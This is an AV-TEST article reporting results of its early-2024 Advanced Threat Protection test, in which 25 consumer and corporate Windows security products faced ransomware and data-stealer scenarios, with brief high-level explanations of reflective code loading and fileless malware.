April 25, 2024 | Text: Markus Selinger | Antivirus for Windows
  • Share:

Cybersecurity: Defense Against the Latest Attacking Techniques in the ATP Test

In an ongoing race against cybercriminals, security vendors need to constantly maintain the upper hand in order to sustainably guarantee the security of data for both consumer users and corporate users. The Advanced Threat Protection test from AV-TEST relies on detailed individual tests to examine whether the vendors are able to detect and defend against the latest, most sophisticated cyberattacks. Twenty-five products were evaluated on Windows systems in this test using ten scenarios to simulate ransomware and data stealer attacks on the systems. Special attacking techniques such as reflective code loading and fileless malware, which challenge modern security algorithms as they have to detect dangerous lines of code or scripts, were used. The outcome of the testing shows that overall the security products can defend their leading position; however, some products do not have all attack steps under control.

25 products in the ATP test – the Advanced Threat Protection test against data stealer and ransomware attacks
25 products in the ATP test –

the Advanced Threat Protection test against data stealer and ransomware attacks

zoom

25 security products for consumer users and corporate users prove their mettle in the current Advanced Threat Protection (ATP) test showing how they defend against ransomware and data stealer attacks. “Advanced” testing means that all products need to thwart the attackers in ten complex scenarios where they attempt to invade the Windows systems. If the attackers accomplish their goal, the systems are encrypted or the data is stolen, and sometimes even both events occur. In the ATP test, the laboratory records each individual step in defending against the attack, and this is documented in a matrix modeled according to MITRE ATT&CK standard. The test scenarios are divided into five ransomware and five data stealer scenarios. There are three main steps in the defense against ransomware, for which up to 3 points are awarded. In the case of data stealers, there are four evaluated actions and in turn up to 4 points can be awarded. The highest protection score that a product can achieve is 35 points.

Consumer products and corporate solutions in the ATP test

The ATP test from January and February 2024 included 12 products for consumer users and 13 endpoint solutions for corporate users. The consumer protection packages were from Avast, AVG, Avira, Bitdefender, ESET, F-Secure, G DATA, Kaspersky, Microsoft, Microworld, Norton, and PC Matic.

The products for corporate users in the test were from Avast, Bitdefender (two versions), Check Point, ESET, HP Security, Kaspersky (two versions), Microsoft, Qualys, Seqrite, Symantec, and WithSecure.

The 250 individual results that were recorded as part of this test were summarized using well-defined visual graphics listing ten results for each product. It quickly becomes clear where the respective product has stopped the attacker in its tracks. For this purpose, the lab used a color coding system. Green indicates that the attack was stopped. Yellow indicates that problems occurred, where even part of the data might have been encrypted. Orange-red indicates that the attacker was successful and data was stolen or the system was encrypted, which would then often end up with a ransom demand.

Protection packages for consumer users in the ATP test

All security packages showed how effectively they deal with ransomware and data stealer attacks in the Advanced Threat Protection test under Windows. Some packages required several steps to successfully defend against the attacks in the end

zoom ico
Endpoint solutions for corporate users in the ATP test

Only one corporate solution had problems with detection in the test. However, all 13 products eventually fended off every single ransomware or data stealer attack in the test under Windows

zoom ico

1

Protection packages for consumer users in the ATP test

2

Endpoint solutions for corporate users in the ATP test

The latest attacking techniques in the defense test

The arsenal of malware or malicious scripts is large and constantly evolving. For example, the attack technique involving the injection of code has been around for a long time. However, the way in which this dangerous code is injected is constantly changing its tactics. A new and very popular technique right now is reflective code injection. The testing also involves fileless malware, a particularly aggressive form of cyberattack. Here is a brief explanation of these techniques.

Reflective code injection: Reflective code injection is very similar to process injection, except that the injection loads the code into the memory of the process instead of into a separate process. In this manner, reflective code loading can bypass process-based detection methods by concealing the execution of arbitrary code within a legitimate and harmless process. This type of code injection is therefore also fileless, as it only injects the code into a process.

In the test, a PowerShell implant downloads a .NET assembly from the control server. This assembly is loaded and executed, allowing the execution of a data stealer or ransomware attack.

Fileless malware: Fileless malware means that a dangerous code does not find its way into the system via a file package – something that would be easier to detect. Instead, the malicious code writes itself from the memory directly to the Windows registry, for example. The attacker uses the tools already available in Windows, such as PowerShell. It means that there is no file that a protection system could isolate.

In the test, encrypted PowerShell code is written into the registry. This code is later read and executed by Windows, which launches a data stealer or ransomware attack.

The ten test scenarios

All attack scenarios are documented according to the standard of the MITRE ATT&CK database. The individual sub-techniques, for example "T1566.001", are listed in the MITRE database for "Techniques" under "Phishing: Spearphishing Attachment". Each test step is thus defined among the experts and can be logically understood. In addition, all attack techniques are explained, along with how successful the malware is.

01
zoom ico
02
zoom ico
03
zoom ico
04
zoom ico
05
zoom ico
06
zoom ico
07
zoom ico
08
zoom ico
09
zoom ico
10
zoom ico

1

01

2

02

3

03

4

04

5

05

6

06

7

07

8

08

9

09

10

10

ATP test: results for consumer user products

The lab tested 12 end-user products in the extended ATP test to see how well they detect and defend against data stealers and ransomware using the latest cyberattack techniques. Products from the following vendors were put to the test: Avast, AVG, Avira, Bitdefender, ESET, F-Secure, G DATA, Kaspersky, Microsoft, Microworld, Norton, and PC Matic.

8 of the 12 protection packages for Windows examined had no problems at all during the entire test in detecting the attackers and immediately stopping and isolating them in one of the first two steps: Avira, Bitdefender, ESET, G DATA, Kaspersky, Microworld, Norton, and PC Matic.

Microsoft Defender detected the attackers in the ten scenarios, but in one case with ransomware it could not initially stop further execution. The startup file was generated, but it was then prevented from being executed, so in the end the system was not encrypted. In one case, the points scored were halved for this reason. In general, Microsoft scored 33.5 out of 35 points in this test.

The issues for the products from Avast, AVG, and F-Secure were almost identical in the test. The products detected the attackers in two cases with data stealers and two cases with ransomware; however, they were initially unable to prevent them from taking further action. The defense mechanism was only triggered when the data was about to be extracted or encrypted, which was when the destructive component was isolated and rendered harmless. It prevented data from being stolen and nothing could be encrypted.

Nevertheless, with the products from Avast, AVG, and F-Secure, the attackers managed to advance further than they should have been able to. For this reason, based on the four cases, there was a significant point deduction. At the end of the test, all of the three products mentioned received 29 out of 35 points for their protection score.

All protection packages earned the “Advanced Certified” certificate in the ATP test. The only exception here was G DATA: although the product performed well in testing, AV-TEST only certifies products that achieve certification in the regular monthly tests and fulfill all their criteria.

ATP test: results for endpoint products

The testing of corporate solutions examined endpoint products from the following vendors: Avast, Bitdefender (two versions), Check Point, ESET, HP Security, Kaspersky (two versions), Microsoft, Qualys, Seqrite, Symantec, and WithSecure.

The corporate product test went extremely well for nearly all vendors. 12 of the 13 endpoint products tested did not allow ransomware attackers or data stealers a chance in any of the ten scenarios, effectively stopping all attacks immediately. For this feat, all products received the full 35 points in terms of the protection score.

Seqrite was the only product that encountered a problem: it detected the attackers in two ransomware attacks and two data stealer attacks, yet it was unable to stop the initial actions. It was only possible in later steps for the product to isolate the malware and stop the attackers’ destructive efforts. In the end, no data was stolen or encrypted. Nevertheless, it hurt Seqrite in the scoring, leaving it with only 29 out of 35 possible points.

All products received “Advanced Approved Endpoint Protection” certification, as they achieved 75 percent (at least 26.5 points out of 35 points) for the protection score.

Test: preventing even the newest type of cyberattacks

The current test is an impressive display of the importance of the Advanced Threat Protection (ATP) test for vendors and product users. Some products would simply not have detected the attacks and would not have received any points in a classic protection test. The ATP test shows that the various protection modules of the tested products could still fend off an attack further down the line, even if it was not initially detected.

The tables show that each product in the test detected the attacker in each of the ten scenarios. There were only points deducted in the intermediate steps for some products. In the end, all products – without exception – received the critical single point for “attack stopped” when it came to whether the attack was thwarted or not.

Consumer Users 02/2024

Free Antivirus
Internet Security
Internet Security for Windows
Total Security
Security Ultimate
Internet Security
Defender Antivirus (Consumer)
eScan Internet Security Suite
Norton 360
Application Allowlisting

Corporate Solutions 02/2024

Ultimate Business Security
Endpoint Security
Endpoint Security (Ultra)
Endpoint Security
PROTECT Advanced
Wolf Pro Security
Endpoint Security
Small Office Security
Defender Antivirus (Enterprise)
Endpoint Protection
Endpoint Security
Endpoint Security Complete
Elements Endpoint Protection

Social Media

We want to stay in touch with you! Now there is an easy way to receive regular updates on the latest news and test releases.